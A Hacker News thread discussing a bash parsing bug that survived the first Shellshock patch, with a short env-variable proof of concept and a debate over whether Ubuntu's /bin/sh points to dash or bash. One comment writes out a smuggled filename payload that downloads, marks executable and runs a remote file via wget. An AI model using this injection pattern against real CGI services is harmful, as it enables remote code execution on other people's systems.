Hacker News new | past | comments | ask | show | jobs | submit login

With the patched bash, if you run

    env X='() { (a)=>\' sh -c "echo date"
This is equivalent to running

    date >echo
That is, you can put something in the environment which causes it to drop the first token, run the result as a command, and redirect the result to the dropped first token.

An example of a context where this would be exploitable, is a CGI webapp which accepts an uploaded zip file, stores it in a FAT filesystem, and and runs system("unzip /path/to/file"). Then putting a corrupt string in a header would cause the file to be executed, rather than unzipped.

Just as an aside - is there a particular reason you specify the type of the filesystem? Is there something specific to FAT that might make this exploit viable? I'm thinking permissions, but I'm not sure.

I think it's that all files have mode 0777, i.e. executable by default. I think it can be changed with mount options though.

Thanks a lot, I was discussing this with a friend and we reached this conclusion too.

You don't even need FAT if the CGI script doesn't properly escape spaces in filenames. e.g.:

    env X='() { (a)=>\' sh -c "unzip wget -O /tmp/hax; chmod 777 /tmp/hax; /tmp/hax"
(the "filename" here being "wget -O /tmp/hax; chmod 777 /tmp/hax; /tmp/hax")

This assumes that system() is calling bash, but it usually calls /bin/sh, which is often linked to something other than bash (for example, dash is used on recent Ubuntu and Debian installs).

Not always, this is on Slackware 14.1:

    $ ls -l /bin/sh 
    lrwxrwxrwx 1 _ _ 4 Apr  3 18:13 /bin/sh -> bash*

All my Ubuntu 14.04 systems have /bin/sh symlinked to bash, not dash. I'm seeing articles on the net about Ubuntu switching to dash, but as far as I can tell, it either was reverted, or never happened.

That's weird:

    $ lsb_release -a
    No LSB modules are available.
    Distributor ID:	Ubuntu
    Description:	Ubuntu 14.04.1 LTS
    Release:	14.04
    Codename:	trusty
    $ ls -l /bin/sh
    lrwxrwxrwx 1 root root 4 Feb 19  2014 /bin/sh -> dash

Hum. Strange. I just tested with clean Ubuntu EC2 instances, and they are indeed symlinking /bin/sh to dash.

Either I have a part of my standard stack that reverts it to bash (but I have no idea what could be doing that), or it could be my provider (OVH) doing that by default when they install Ubuntu.

Oh well, sorry for the noise.

I spun up an EC2 ubuntu 14.04 instance a few minutes ago - a quick check shows sh -> dash.

Are your systems fresh installs or dist-upgrades from older systems? I wonder if there's a difference there somehow. Or perhaps your puppet/chef/etc rules are changing to bash?

Ubuntu symlinks /bin/sh to /bin/dash by default as of some ancient version. This is pretty annoying and I often end up manually undoing it and linking it to /bin/bash when a script fails in spectacular ways (dash doesn't support some bash-specific niceties). It's merely a fortunate accident for Ubuntu that this type of bug was discovered in bash, not dash.

So those shell scripts use bashisms but don't use #!/bin/bash and instead have #!/bin/sh ?

The problematic scripts don't have a shebang at all, as you can likely guess. Would it be easier to add a shebang? If the one script was the only problem, yes, but I just see no compelling reason to leave my Ubuntu environments in an inconsistent state and risk experiencing other unusual behaviors. I'd rather my Ubuntu boxes behave in a similar fashion to all the other Linux environments I use, which all link /bin/sh to /bin/bash.

The justification I've found when I looked up what was going on here was "dash makes boot times faster". That's fine, but I don't reboot my systems very often and fractional increases in boot times are not worth the potential work-time disruption to me.

None of that changes the fundamental fact here: these types of security bugs could happen in any low-level, system-fundamental project like a shell. Even if you say, "Nuh-uh, I would never evaluate functions out of environment variables if I was writing a shell", I guarantee there are other things you can mess up that would present serious security risks. It is just by dumb luck that bash is the culprit this time and not some other software, and that Ubuntu happens to link /bin/sh to a shell that doesn't have the same specific bug (because it lacks the feature that provides the attack surface).

Yes but fixing that is a simple matter of replacing sh with /bin/bash.

You can only do that if you already have shell access (in which case the vulnerability gives you nothing). The remote exploit works because untrusted users can put code into an environment variable, but the target needs to create a new bash to execute the code.


On one hand, this is pretty specific and not "run into the woods" dangerous.

On the other hand, it's also not that unrealistic.

Also, I am kind of afraid there will be more stuff lurking in there.

It's almost like the shell was designed to execute arbitrary commands!

Applications are open for YC Winter 2021

Guidelines | FAQ | Support | API | Security | Lists | Bookmarklet | Legal | Apply to YC | Contact